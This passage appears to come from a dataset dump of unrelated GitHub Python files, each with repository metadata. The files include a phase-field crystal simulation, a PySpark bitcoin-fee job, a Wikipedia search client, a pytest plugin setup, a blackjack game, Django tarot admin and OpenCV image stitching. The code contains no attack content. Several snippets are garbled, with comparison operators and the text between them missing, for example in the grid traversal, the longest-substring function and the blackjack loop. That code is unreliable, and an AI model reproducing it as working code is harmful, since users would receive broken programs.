3/2*vv*((np.abs(eta[0]))**4 + (np.abs(eta[1]))**4 + (np.abs(eta[2]))**4)\n )/num_cells\n\n return energy\n\n\ndef calc_nonlinear_part(eta):\n \"\"\"\n Calculates the part of (dF/deta*_j) which doesn't contain the derivatives (gradients/laplacians)\n (Note: \"\\Delta B \\eta\" is not calculated here)\n \"\"\"\n # calculate the A^2\n aa = 2*(np.abs(eta[0])**2 + np.abs(eta[1])**2 + np.abs(eta[2])**2)\n\n var_f_eta_noderiv = np.zeros((3, nx, ny), dtype=np.complex128)\n\n var_f_eta_noderiv[0] = (3*vv*(aa-np.abs(eta[0])**2)*eta[0] - 2*tt*np.conj(eta[1])*np.conj(eta[2]))\n var_f_eta_noderiv[1] = (3*vv*(aa-np.abs(eta[1])**2)*eta[1] - 2*tt*np.conj(eta[0])*np.conj(eta[2]))\n var_f_eta_noderiv[2] = (3*vv*(aa-np.abs(eta[2])**2)*eta[2] - 2*tt*np.conj(eta[1])*np.conj(eta[0]))\n\n return var_f_eta_noderiv\n\n\ndef time_step(eta, eta_k):\n \"\"\"\n Makes a time step for etas\n \"\"\"\n # Calculate the part of (dF/deta*_j) which doesn't contain the derivatives\n nonlinear_part = calc_nonlinear_part(eta)\n\n # numerator in the time stepping scheme for three etas (in real and k space)\n numerator = eta - dt*nonlinear_part\n numerator_k = np.zeros((3, nx, ny), dtype=np.complex128)\n\n for i in range(3):\n numerator_k[i] = np.fft.fft2(numerator[i])\n\n # the denominator is the part with derivatives, can be expressed easily in k space\n # the resulting value is the next eta of the numerical scheme in k space\n eta_k[:] = numerator_k/denominator_k\n\n # and the final eta\n for i in range(3):\n eta[i] = np.fft.ifft2(eta_k[i])\n\n\ndef calc_grad_theta(eta, eta_k):\n \"\"\"\n Calculates the gradient of the function that needs to be minimized for theta dynamics for elastic equilibrium\n Based on Eq. (3.38) and (3.44) of Vili's thesis\n \"\"\"\n\n # First, evaluate (G_j^2 eta_j) in k space\n # and return to real space\n g2_eta_buffer_k = g_values**2*eta_k\n g2_eta_buffer = np.fft.ifft2(g2_eta_buffer_k)\n\n # Calculate the part of (dF/deta*_j) which doesn't contain the derivatives\n nonlinear_part = calc_nonlinear_part(eta)\n\n # variation of f wrt eta (Eq. (3.38) in Vili's dissertation)\n var_f_eta = (bl-bx)*eta + bx*g2_eta_buffer + nonlinear_part\n\n # the fake time derivative for thetas\n im = np.imag(np.conj(eta)*var_f_eta)\n\n dtheta = np.zeros((3, nx, ny))\n for i in range(3):\n dtheta[i] = (np.dot(q_vectors[i], q_vectors[0])*im[0]\n + np.dot(q_vectors[i], q_vectors[1])*im[1]\n + np.dot(q_vectors[i], q_vectors[2])*im[2])\n return dtheta\n\n\ndef calculate_fd_kernels():\n # Find the kernel for each of the eta components\n laplacian_kernel = np.zeros((5, 5), dtype=np.complex128)\n # Order h^4 accuracy\n laplacian_kernel[:, 2] += 1.0/(12*dx**2)*np.array([-1.0, 16.0, -30.0, 16.0, -1.0])\n laplacian_kernel[2, :] += 1.0/(12*dy**2)*np.array([-1.0, 16.0, -30.0, 16.0, -1.0])\n\n # Order h^2 (?) accuracy\n #laplacian_kernel[:, 2] += 1.0/(dx**2)*np.array([0.0, 1.0, -2.0, 1.0, 0.0])\n #laplacian_kernel[2, :] += 1.0/(dy**2)*np.array([0.0, 1.0, -2.0, 1.0, 0.0])\n\n for j in range(3):\n qj_kernel = np.zeros((5,5))\n qj_kernel[:, 2] += q_vectors[j, 0]/(12*dx)*np.array([-1.0, 8.0, 0.0, -8.0, 1.0])\n qj_kernel[2, :] += q_vectors[j, 1]/(12*dy)*np.array([-1.0, 8.0, 0.0, -8.0, 1.0])\n #qj_kernel = np.array([[0.0, -1.0*q_vectors[j, 1]/dy, 0.0],\n # [-1.0*q_vectors[j, 0]/dx, 0.0, 1.0*q_vectors[j, 0]/dx],\n # [0.0, 1.0*q_vectors[j, 1]/dy, 0.0]])\n\n # First initialize as the biharmonic operator's fd kernel\n kernel = scipy.signal.convolve2d(laplacian_kernel, laplacian_kernel)\n # add the middle term of G_j\n kernel += 4.0j*scipy.signal.convolve2d(laplacian_kernel, qj_kernel)\n # And the last one\n kernel += -4.0*scipy.signal.convolve2d(qj_kernel, qj_kernel)\n fd_kernels.append(kernel)\n\n\ndef calc_grad_theta_fd(eta, eta_k):\n \"\"\"\n Calculates the gradient of the thetas using finite differences\n \"\"\"\n\n # Acutally, its slow with kernel, use k-space formulas...\n # evaluate (G_j^2 eta_j)\n #g2_eta_buffer = np.zeros((3, nx, ny), dtype=np.complex128)\n #for j in range(3):\n # g2_eta_buffer[j, :] = scipy.signal.convolve2d(eta[j], fd_kernels[j], mode='same', boundary='wrap')\n\n # First, evaluate (G_j^2 eta_j) in k space\n # and return to real space\n g2_eta_buffer_k = g_values_fd**2*eta_k\n g2_eta_buffer = np.fft.ifft2(g2_eta_buffer_k)\n\n # Calculate the part of (dF/deta*_j) which doesn't contain the derivatives\n nonlinear_part = calc_nonlinear_part(eta)\n\n # variation of f wrt eta (Eq. (3.38) in Vili's dissertation)\n var_f_eta = (bl-bx)*eta + bx*g2_eta_buffer + nonlinear_part\n\n # the fake time derivative for thetas\n im = np.imag(np.conj(eta)*var_f_eta)\n\n dtheta = np.zeros((3, nx, ny))\n for i in range(3):\n dtheta[i] = (np.dot(q_vectors[i], q_vectors[0])*im[0]\n + np.dot(q_vectors[i], q_vectors[1])*im[1]\n + np.dot(q_vectors[i], q_vectors[2])*im[2])\n return dtheta\n\n\ndef mechanical_equilibrium(eta, eta_k):\n\n #equilibrium_algorithms.steepest_descent_fixed_dz(eta, calculate_energy, calc_grad_theta, nx, ny)\n #equilibrium_algorithms.steepest_descent_fixed_dz_finite_diff(eta, calculate_energy, calc_grad_theta, calculate_energy_fd, calc_grad_theta_fd, nx, ny)\n #equilibrium_algorithms.steepest_descent_exp_search(eta, calculate_energy, calc_grad_theta, nx*ny)\n\n #equilibrium_algorithms.steepest_descent_bin_search(eta, calculate_energy, calc_grad_theta, nx*ny)\n #equilibrium_algorithms.conjugate_gradient(eta, calculate_energy, calc_grad_theta, nx, ny)\n\n #equilibrium_algorithms.accelerated_steepest_descent(eta, calculate_energy, calc_grad_theta, nx*ny)\n #equilibrium_algorithms_2.conjugate_gradient_fixed_dz(eta, calculate_energy, calc_grad_theta, nx, ny)\n\n #iter = equilibrium_algorithms.accelerated_steepest_descent_adaptive_dz(eta, calculate_energy, calc_grad_theta, nx*ny)\n #equilibrium_algorithms.accelerated_steepest_descent_adaptive_dz_finite_diff(eta, calculate_energy, calc_grad_theta_fd, nx*ny)\n\n #equilibrium_algorithms_2.lbfgs(eta, calculate_energy, calc_grad_theta, nx, ny)\n\n iter = equilibrium_algorithms_2.lbfgs_enh(eta, calculate_energy, calc_grad_theta, nx, ny)\n\n #equilibrium_algorithms_2.adadelta(eta, calculate_energy, calc_grad_theta, nx, ny)\n\n eta_k[:] = np.fft.fft2(eta)\n return iter\n\n\ndef init_plot_3(eta):\n fig = plt.figure(figsize=(20,4))\n ax = []\n quad = []\n for i in range(3):\n ax.append(plt.subplot(1, 3, i+1))\n quad.append(plt.pcolormesh(np.abs(eta[i])))\n plt.colorbar(quad[i], ax=ax[i])\n ax[i].set_xlim([0, nx])\n ax[i].set_ylim([0, ny])\n plt.ion()\n plt.show()\n return ax, quad\n\n\ndef init_plot(eta):\n plt.subplot(111)\n quad = plt.pcolormesh(1/3*(abs(eta[0])+abs(eta[1])+abs(eta[2])))\n plt.colorbar()\n plt.xlim([0, nx])\n plt.ylim([0, ny])\n plt.ion()\n plt.show()\n return quad\n\n\ndef update_plot(quad, stime, eta, path, radius=-1.0):\n a = (1/3*(np.abs(eta[0])+np.abs(eta[1])+np.abs(eta[2]))).ravel()\n quad.set_array(a)\n if radius > 0.0:\n plt.title(\"ts %.1f, radius %.0f\" % (stime, radius))\n else:\n plt.title(\"ts %.1f\" % stime)\n plt.draw()\n plt.savefig(path+\"time%.0f.png\" % stime, dpi=300)\n\n\ndef defect_radius(eta):\n \"\"\"\n Calculates the defect radius along centered vertical line\n \"\"\"\n phi_line = (np.abs(eta[0])+np.abs(eta[1])+np.abs(eta[2]))[nx//2]\n side1 = np.argmin(phi_line[0:ny//2])\n side2 = np.argmin(phi_line[ny//2:])+ny//2\n return (side2-side1)*dy\n\n\ndef start_calculation():\n\n path = \"./data/main_run/no_mech_eq/\"\n\n # eta holds the three complex amplitudes (eta_k = eta in k space)\n eta = np.zeros((3, nx, ny), dtype=np.complex128)\n\n # Calculate some values that are the same for each time step\n # and should be calculated only once\n time_start = time.time()\n calculate_coefficients_tile()\n print(\"Coefficient calculation: %.3f s\" % (time.time()-time_start))\n\n start_iterations = 10000\n\n # Load the starting state with 10000 O-D iterations done\n eta = np.load(\"./data/over_damped_%d.npy\" % start_iterations)\n eta_k = np.fft.fft2(eta)\n print(\"Initial energy: %.16e\" % calculate_energy(eta, eta_k))\n\n # start the global clock\n time_start = time.time()\n\n # Do the initial mechanical equilibrium\n meq_iter = mechanical_equilibrium(eta, eta_k)\n energy = calculate_energy(eta, eta_k)\n total_time = time.time()-time_start\n radius = defect_radius(eta)\n print(\"Initial mechanical eq. done. Energy: %.16e; iterations: %d; radius: %.1f; time taken: %.1f s\" %\n (energy, meq_iter, radius, total_time))\n simulation_data = [[start_iterations, start_iterations*dt, energy, radius, meq_iter, total_time]]\n\n #np.savez(\"./data/mech_run/init_od_mech_eq\", np.array(simulation_data), eta)\n run_calculation(simulation_data, eta, eta_k, path)\n\n\ndef run_calculation(simulation_data, eta, eta_k, datapath):\n \"\"\"\n Function, that will resume the simulation based on the current state (last row of simulation_data)\n \"\"\"\n iterations, stime, energy, radius, meq_iter, total_time = simulation_data[-1]\n\n time_start = time.time() - total_time\n\n # Initialize the plot for real time plotting\n quad = init_plot(eta)\n\n # plot and save frequencies (in repetitions)\n plot_freq = 100\n save_freq = 100\n\n last_radius = radius\n\n # take 80 O-D steps and then do mech eq.\n repetitions = 10000\n od_steps = 80\n for rep in range(1, repetitions+1):\n # make a number of O-D time steps\n od_start = time.time()\n for ts in range(1, od_steps+1):\n time_step(eta, eta_k)\n iterations += od_steps\n od_time = time.time() - od_start\n # Do elastic equilibrium\n meq_iter = mechanical_equilibrium(eta, eta_k)\n meq_time = time.time() - od_start - od_time\n energy = calculate_energy(eta, eta_k)\n radius = defect_radius(eta)\n total_time = time.time()-time_start\n stime = iterations*dt\n\n print(\"iter: %d; stime: %.3f; energy: %.16e; radius: %5.1f; od_time: %4.1f; meq_iter: %4d; meq_time: %.1f; total_time: %.1f\" %\n (iterations, iterations*dt, energy, radius, od_time, meq_iter, meq_time, total_time))\n simulation_data.append([iterations, stime, energy, radius, meq_iter, total_time])\n\n if rep % plot_freq == 0 or last_radius < radius:\n update_plot(quad, stime, eta, datapath+\"fig/\", radius)\n if rep % save_freq == 0 or last_radius < radius:\n np.savez(datapath+\"time%.0f\"%stime, np.array(simulation_data), eta)\n\n if last_radius < radius:\n break\n last_radius = radius\n\n\ndef continue_calculation(path, datafile):\n\n # Load the data\n data = np.load(path+datafile)\n simulation_data = data['arr_0'].tolist()\n eta = data['arr_1']\n\n # Calculate some values that are the same for each time step\n # and should be calculated only once\n time_start = time.time()\n calculate_coefficients_tile()\n print(\"Coefficient calculation: %.3f s\" % (time.time()-time_start))\n\n eta_k = np.fft.fft2(eta)\n run_calculation(simulation_data, eta, eta_k, path)\n\n\ndef plot_in_kspace(eta_k):\n plotting_signal_fft = np.fft.fftshift(np.real(eta_k[0]))\n plotting_k_x_values = np.fft.fftshift(k_x_values)\n plotting_k_y_values = np.fft.fftshift(k_y_values)\n min_x = np.min(plotting_k_x_values)\n max_x = np.max(plotting_k_x_values)\n min_y = np.min(plotting_k_y_values)\n max_y = np.max(plotting_k_y_values)\n plt.figure(figsize=(10, 10))\n plt.pcolormesh(plotting_k_x_values, plotting_k_y_values, plotting_signal_fft)\n plt.xlim([min_x, max_x])\n plt.ylim([min_y, max_y])\n plt.show()\n\n\ndef main():\n # Allocate memory for the complex amplitudes\n eta = np.zeros((3, nx, ny), dtype=np.complex128)\n \n # Initialize state to rotated grain and calculate Fourier transform\n init_state_seed(eta)\n\n fig = plt.figure(figsize=(10, 10))\n plt.pcolormesh(abs(eta[0]) + abs(eta[1]) + abs(eta[2]))\n plt.xlim([0, nx])\n plt.ylim([0, ny])\n plt.savefig(\"./fig/phi.png\", dpi=200)\n\n # eta_k = np.fft.fft2(eta)\n #\n # # Calculate derivative operators in k-space\n # calculate_coefficients_tile()\n #\n # # Take 80 PFC time steps\n # for ts in range(100000):\n # time_step(eta, eta_k)\n # if ts % int(30/dt) == 0:\n # fig = plt.figure(figsize=(10, 10))\n # plt.pcolormesh(abs(eta[0])+abs(eta[1])+abs(eta[2]))\n # plt.xlim([0, nx])\n # plt.ylim([0, ny])\n # plt.title(\"time %.1f\" % (ts*dt))\n # plt.savefig(\"./fig/seed_dt0.0125_%.0f.png\" % (ts*dt), dpi=200)\n # plt.close(fig)\n\n # # Run LBFGS algorithm for mechanical equilibration\n # equilibrium_algorithms_2.lbfgs_enh(\n # eta, calculate_energy, calc_grad_theta, nx, ny)\n # eta_k[:] = np.fft.fft2(eta)\n\n # Save eta to file\n # np.save(\"./data/test_run/test\", eta)\n\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"eimrek/phase-field-crystal-mpi","sub_path":"python_code/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":21301,"program_lang":"python","lang":"en","doc_type":"code","stars":19,"dataset":"github-code","pt":"32"} +{"seq_id":"33859393751","text":"import numpy as np\nimport sys\nsys.setrecursionlimit(100000)\n\nfilename=sys.argv[1]\ninfile = open(sys.argv[1], 'r')\nN, M = [int(x) for x in next(infile).split()]\narr = np.zeros((N,M), dtype='U1')\ni=0\nfor line in infile:\n j=0\n for x in line.split():\n for j in range(M):\n arr[i][j] = x[j]\n i = i+1\ninfile.close()\n\nstatus = np.full((N,M),False, dtype=bool)\n\ndoomed=0\n\ndef check_access(u, k, sym):\n global doomed\n if (arr[u][k] == sym) and (status[u][k] == False):\n status[u][k] = True\n doomed+=1\n traverse(u,k)\n return\n\ndef traverse(i,j):\n if i-1>=0:\n check_access(i-1,j,'D')\n if i+1=0:\n check_access(i,j-1,'R')\n if j+1 length:\n length = j-i+1\n lst = [s[i]]\n return sorted(lst)\n\n","repo_name":"daniel-reich/turbo-robot","sub_path":"Y4gwcGfcGb3SKz6Tu_3.py","file_name":"Y4gwcGfcGb3SKz6Tu_3.py","file_ext":"py","file_size_in_byte":1217,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"38650151938","text":"from pyspark import SparkConf, SparkContext\nfrom jsonrpc.authproxy import AuthServiceProxy\nimport json\n\n\n#This is batch processing of Toshi (https://bitcoin.toshi.io/) bitcoin block's json stored\n#in HDFS. Currently 187,990 blocks' json representation is\n#stored in HDFS. The HDFS file size is around 7GB\n#The output of this program is block_number and the corresponding\n#transaction fee in units of Satoshi. This data is written to HBASE\n#table.\n#The program takes only 3 minutes to run. While the streaming version\n#of the program takes 222 minutes. \n#It is a Good illustration of time-space(memory) tradeoff\n\nconf = SparkConf().setMaster(\"local\").setAppName(\"Toshi_bitcoin_tx_fee_calcultor\")\nsc = SparkContext(conf=conf)\n\n\n#function SaveRecord: saves tx_fee for a block to hbase database\ndef SaveRecord(tx_fee_rdd): \n host = 'localhost' #sys.argv[1] \n table = 'tx_fee_taoshi_batch'\t#needs to be created before hand in hbase shell \n conf = {\"hbase.zookeeper.quorum\": host,\n \"hbase.mapred.outputtable\": table,\n \"mapreduce.outputformat.class\": \"org.apache.hadoop.hbase.mapreduce.TableOutputFormat\",\n \"mapreduce.job.output.key.class\": \"org.apache.hadoop.hbase.io.ImmutableBytesWritable\",\n \"mapreduce.job.output.value.class\": \"org.apache.hadoop.io.Writable\"}\n keyConv = \"org.apache.spark.examples.pythonconverters.StringToImmutableBytesWritableConverter\"\n valueConv = \"org.apache.spark.examples.pythonconverters.StringListToPutConverter\"\n #row key id,id, cfamily=tx_fee_col,column_name = tx_fee, column_value=x \n #datamap = tx_fee_rdd.map(lambda x: (\"tx_fee\",x) ) \n #( rowkey , [ row key , column family , column name , value ] )\n datamap = tx_fee_rdd.map(lambda x: (str(x[0]),\n\t\t\t\t\t \t[str(x[0]),\"tx_fee_col\",\"tx_fee\",str(x[1])])\n \t\t\t\t\t\t)\n \t\t\t\n datamap.saveAsNewAPIHadoopDataset(conf=conf,\n \t\t\t\t\t\t\t\t keyConverter=keyConv,\n \t\t\t\t\t\t\t\t valueConverter=valueConv)\n\n\nlines = sc.textFile(\"hdfs://ec2-52-21-47-235.compute-1.amazonaws.com:9000/bitcoin/taoshi_tx_fee.txt\")\n\ndump_rdd = lines.map(lambda x: json.dumps(x))\n#print dump_rdd.take(2)\nload_rdd = dump_rdd.map(lambda x: json.loads(x)).map(lambda x : x.decode('unicode_escape').encode('ascii','ignore'))\n#print load_rdd.take(2)\n\n\n#tx = load_rdd.flatMap(lambda x: x.split(\":\")) #this also works but flatMap is not needed\nsplit_blk_rdd = load_rdd.map(lambda x: x.split(\":\"))\n#print split_blk_rdd.take(2)\n\ntx_fee_rdd = split_blk_rdd.map(lambda x : (x[14][1:7],x[15][1:-15])) #this gets (blocknum,transaction fee) tuple\n#print tx_fee_rdd.take(2)\t\t#works\nSaveRecord(tx_fee_rdd)\t\t#function call to save to Hbase\n","repo_name":"tariq786/datafying_bitcoin","sub_path":"sp_batch_taoshi.py","file_name":"sp_batch_taoshi.py","file_ext":"py","file_size_in_byte":2646,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"32"} +{"seq_id":"11476210590","text":"import requests\n\nclass WikiSearch():\n\n def __init__(self, title):\n\n self.URL = \"https://fr.wikipedia.org/w/api.php\"\n self.S = requests.Session()\n self.title = title\n\n def get_title(self):\n\n PARAMS = {\n 'action': \"query\",\n 'list': \"search\",\n 'srsearch': self.title,\n 'format': \"json\",\n 'srlimit': 1\n }\n\n R = self.S.get(url=self.URL, params=PARAMS)\n DATA = R.json()\n\n return DATA[\"query\"][\"search\"][0][\"title\"]\n\n def extract_info(self):\n\n title = self.get_title()\n\n PARAMS = {\n 'action': 'query',\n 'format': 'json',\n 'prop': 'extracts',\n 'titles': title,\n 'explaintext': True,\n \"exlimit\": 1,\n 'exchars': 175\n }\n\n R = self.S.get(url=self.URL, params=PARAMS)\n DATA2 = R.json()\n\n for elt in DATA2[\"query\"][\"pages\"].values():\n return elt[\"extract\"]","repo_name":"theoflaus/travis","sub_path":"wiki.py","file_name":"wiki.py","file_ext":"py","file_size_in_byte":992,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"1834292859","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\n\"\"\"The setup script.\"\"\"\n\nfrom setuptools import setup\n\nwith open('README.rst') as readme_file:\n readme = readme_file.read()\n\nwith open('HISTORY.rst') as history_file:\n history = history_file.read()\n\npython_requirements = '>=2.7, !=3.0.*, !=3.1.*, !=3.2.*, !=3.3.*'\nrequirements = ['pytest~=3.6', 'setuptools', 'sh', 'rpc-zigzag~=1.0.0', 'jsonschema~=2.6']\npackages = ['pytest_zigzag']\nentry_points = {\n 'pytest11': [\n 'zigzag=pytest_zigzag',\n ],\n}\n\nsetup(\n name='pytest-zigzag',\n version='1.1.1',\n author='rpc-automation',\n author_email='rpc-automation@rackspace.com',\n license='Apache Software License 2.0',\n url='https://github.com/rcbops/pytest-zigzag',\n keywords='py.test pytest pytest-zigzag',\n description='Extend py.test for RPC OpenStack testing.',\n long_description=readme + '\\n\\n' + history,\n classifiers=[\n 'Development Status :: 4 - Beta',\n 'Framework :: Pytest',\n 'Intended Audience :: Developers',\n 'License :: OSI Approved :: Apache Software License',\n 'Natural Language :: English',\n 'Operating System :: OS Independent',\n 'Programming Language :: Python :: 2',\n 'Programming Language :: Python :: 2.7',\n 'Programming Language :: Python :: 3',\n 'Programming Language :: Python :: 3.4',\n 'Programming Language :: Python :: 3.5',\n 'Programming Language :: Python :: 3.6',\n 'Topic :: Software Development :: Libraries :: Python Modules'\n ],\n include_package_data=True,\n python_requires=python_requirements,\n install_requires=requirements,\n packages=packages,\n entry_points=entry_points,\n)\n","repo_name":"rcbops/pytest-zigzag","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":1707,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"32"} +{"seq_id":"41394971449","text":"amigo = {}\namigo['nome'] = 'Cristiane'\namigo['idade'] = 25\namigo['sexo'] = 'F'\n\nprint(amigo)\nprint(f'A professora', amigo['nome'], 'tem', amigo['idade'], 'anos')\n\namigo.update({'altura': '1.70', 'peso': 62})\nprint(amigo)\n\nl_amigos = []\nl_amigos.append(amigo)\namigo2 = {}\namigo2['nome'] = 'Aglaê'\namigo2['idade'] = 23\namigo2['sexo'] = 'F'\namigo2['altura'] = 1.6\namigo2['peso'] = 55\n\nl_amigos.append(amigo2)\nprint(l_amigos)\n\nfor miga in l_amigos:\n print(f'A professora', miga['nome'], 'tem', miga['idade'], 'anos')\n","repo_name":"vilelapp/ws-pycharm","sub_path":"Unoeste/dicionario.py","file_name":"dicionario.py","file_ext":"py","file_size_in_byte":517,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"29964618067","text":"\ndef find_and_remove(dct):\n [ndct,nv] = [{},{}]\n for key in dct.keys():\n for nkey in dct[key].keys():\n if dct[key][nkey].isdigit():nv[nkey]=int(dct[key][nkey])\n ndct[key]= nv\n nv={}\n return ndct\n\n","repo_name":"daniel-reich/ubiquitous-fiesta","sub_path":"WxkFoXTLYiAq57uDq_12.py","file_name":"WxkFoXTLYiAq57uDq_12.py","file_ext":"py","file_size_in_byte":237,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"14818982041","text":"import logging\nimport os\n\nfrom fastapi import FastAPI\nfrom tortoise import Tortoise, run_async\nfrom tortoise.contrib.fastapi import register_tortoise\n\nlog = logging.getLogger(\"uvicorn\")\n\n\nTORTOISE_ORM = {\n \"connections\": {\"default\": os.environ.get(\"DATABASE_URL\")},\n \"apps\": {\n \"models\": {\n \"models\": [\"app.models.tortoise\", \"aerich.models\"],\n \"default_connection\": \"default\",\n },\n },\n}\n\n\ndef init_db(app: FastAPI) -> None:\n register_tortoise(\n app,\n db_url=os.environ.get(\"DATABASE_URL\"),\n modules={\"models\": [\"app.models.tortoise\"]},\n generate_schemas=False,\n add_exception_handlers=True,\n )\n\n\n# Rather than applying the migrations via Aerich, which can be slow,\n# there may be times where you just want to apply the schema to the\n# database in its final state.\n\n\nasync def generate_schema() -> None:\n log.info(\"Initialising tortoise\")\n\n await Tortoise.init(\n db_url=os.environ.get(\"DATABASE_URL\"), modules={\"models\": [\"models.tortoise\"]}\n )\n log.info(\"Generating database schema via Tortoise...\")\n await Tortoise.generate_schemas()\n await Tortoise.close_connections()\n\n\nif __name__ == \"__main__\":\n run_async(generate_schema())\n","repo_name":"jim-at-jibba/test-drive-fast-api","sub_path":"fast_api/app/db.py","file_name":"db.py","file_ext":"py","file_size_in_byte":1244,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"25479263652","text":"# def add(list):\n# i=0\n# s=0\n# while i win_condition:\n print('you won')\nelse:\n print('you lost')\n'''\n\n\n\n#############################################\nclass Player:\n def __init__(self,name,cards,is_play_first:bool):\n self.initial_value = cards.pop(0)\n self.hand = [cards.pop(0)]\n self.is_player_turn = is_play_first\n self.response = True\n self.name = name\n \n @property\n def hand_value(self):\n return sum(self.hand,self.initial_value)\n\n def input(self):\n self.response = yes_or_no[input('hit me? type y or n:\\n')]\n \n def update_hand(self):\n self.hand.append(cards.pop(0))\n \n def play(self):\n if self.is_player_turn:\n print(f'{self.name} turn')\n print(f'Total value {self.hand_value}')\n print(f'hidden card {self.initial_value}')\n print(f'player hand {self.hand}')\n self.input()\n \n if self.response:\n self.update_hand()\n \n self.is_player_turn = False\n else:\n self.is_player_turn = True\n\n\nclass Stupid_AI(Player):\n def play(self):\n if self.is_player_turn:\n if self.hand_value < 17:\n self.response = True\n self.update_hand()\n print(f'AI hand {self.hand}')\n else:\n self.response = False\n\n self.is_player_turn = False\n else:\n self.is_player_turn = True\n\n\nplayer1 = Player('player1',cards,True)\n#player2 = Player('player2',cards,False)\nplayer2 = Stupid_AI('stupid AI',cards,False)\n\nprint(f'{player1.name} hand {player1.hand}')\nprint(f'{player2.name} hand {player2.hand}')\nprint('########################################')\n\nwhile player1.response or player2.response:\n player1.play()\n player2.play()\n print('########################################')\n if player1.hand_value > max_value or player2.hand_value > max_value:\n break\n\n\n\nprint(f'{player1.name} hand is {player1.initial_value} + {player1.hand} and the total is {player1.hand_value}')\nprint(f'{player2.name} hand is {player2.initial_value} + {player2.hand} and the total is {player2.hand_value}')\n\n\nif (player1.hand_value > player2.hand_value and player1.hand_value <= max_value) or player2.hand_value > max_value:\n print(f'{player1.name} wins!')\n\nelif (player2.hand_value > player1.hand_value and player2.hand_value <= max_value) or player1.hand_value > max_value:\n print(f'{player2.name} wins!')\nelse:\n print('draw!')","repo_name":"Eslam-Sabry/ML-21","sub_path":"game.py","file_name":"game.py","file_ext":"py","file_size_in_byte":3199,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"17875217559","text":"'''\nChương trình để tạo ra một dictionary\nchứa (i, i*i) như là số nguyên từ 1 đến n\n(bao gồm cả 1 và n)\n\nGiả sử số n là 8 thì đầu ra sẽ là:\n{1: 1, 2: 4, 3: 9, 4: 16, 5: 25, 6: 36, 7: 49, 8: 64}\n'''\n\nclass BaiTapVeDanhSach:\n def bt01(self):\n so_nguyen_n = int(input(\"Nhập vào số nguyên n: \"))\n \n danh_sach = dict()\n for i in range(1, so_nguyen_n + 1):\n danh_sach[i] = i * i\n print(danh_sach)\n\nprint(\"\\n=====================================\\n\")\n\ndanh_sach_tu_dien = BaiTapVeDanhSach()\ndanh_sach_tu_dien.bt01()\n\nprint(\"\\n=====================================\\n\")","repo_name":"Nguyen-Hoang-Thuan-OU/kiem-thu-phan-mem","sub_path":"bai-tap/bai-tap-thuc-hanh/bth04-python-va-selenium/phan-01-lam-quen-voi-python/bai-tap-lam-them-ve-chuoi/bt01-in-danh-sach.py","file_name":"bt01-in-danh-sach.py","file_ext":"py","file_size_in_byte":656,"program_lang":"python","lang":"vi","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"14821548212","text":"from django.contrib import admin\nfrom .models import Reading, Card, Profile, CardInstance\n\n\nclass CardAdmin(admin.ModelAdmin):\n list_display = ('id', 'name', 'arcana', 'suit', 'meaning', 'r_meaning', 'description', 'image')\n list_filter = ('arcana', 'suit')\n search_fields = ('id', 'name')\n\n fieldsets = (\n ('Bendra informacija apie kortą', {\n 'fields': ('id', 'name', 'arcana', 'suit', 'image')\n }),\n ('Kortos aprašymas ir reikšmės', {\n 'fields': ('description', 'meaning', 'r_meaning')\n })\n )\n\n\nclass ReadingAdmin(admin.ModelAdmin):\n list_display = ('date', 'cards', 'id', 'user')\n list_editable = ('cards',)\n list_filter = ('date', 'user')\n search_fields = ('cards', 'id', 'user')\n\n\nadmin.site.register(Reading, ReadingAdmin)\nadmin.site.register(Card, CardAdmin)\nadmin.site.register(CardInstance)\nadmin.site.register(Profile)","repo_name":"baprepapre/taro-projektas","sub_path":"readings/admin.py","file_name":"admin.py","file_ext":"py","file_size_in_byte":901,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"37802664743","text":"import cv2 as cv\nimport numpy as np\nimport os\n\n#img1 = cv.imread('cap_left/cap_left_0.jpg')\n#mg2 = cv.imread('cap_right/cap_right_0.jpg')\n\n#stitch = cv.hconcat((img1, img2))\n\n#cv.imshow('Using hstack', stitch)\n\n#Defining the kernel for Erosion and Dilation\nkernel = np.ones((5,5), np.uint8)\n\ndef load_images_from_folder(folder1, folder2):\n i = 0\n for filename1, filename2 in zip(os.listdir(folder1), os.listdir(folder2)):\n img1 = cv.imread(os.path.join(folder1, filename1))\n img2 = cv.imread(os.path.join(folder2, filename2))\n \n ####Performing GrayScaling\n img1 = cv.cvtColor(img1, cv.COLOR_BGR2GRAY)\n img2 = cv.cvtColor(img2, cv.COLOR_BGR2GRAY)\n\n #### Morphological operations\n #Erosion\n img1Erosion = cv.erode(img1, kernel, iterations=1)\n ##Dilation\n img2Dilation = cv.dilate(img2, kernel, iterations=1)\n\n ### Adding text on the image\n cv.putText(img1Erosion, \"Erosion\", (50,50), cv.FONT_HERSHEY_DUPLEX, 1.5,(255, 165, 0),2,cv.LINE_AA)\n cv.putText(img2Dilation, \"Dilation\", (50,50), cv.FONT_HERSHEY_DUPLEX, 1.5,(255, 0, 0),2,cv.LINE_AA)\n\n\n ####\n #if img is not None:\n # images.append(img)\n stitched_image = cv.hconcat((img1Erosion,img2Dilation))\n #print(f\"Image shape {img1.shape} | StitchedImage shape: {stitched_image.shape}\")\n\n try:\n if not os.path.exists(\"Stitched_images/\"):\n os.makedirs(\"Stitched_images\")\n \n except OSError:\n print(\"Error creating directory\")\n \n filename = 'Stitched_images/Image'+str(i)+'.png'\n cv.imwrite(filename, stitched_image) # .png !\n i +=1\n\ndef load_images_for_unstitching(folder3):\n i = 0\n j = 0\n for filename in os.listdir(folder3):\n img = cv.imread(os.path.join(folder3, filename))\n\n img1 = img[:, :640, :]\n img2 = img[:, 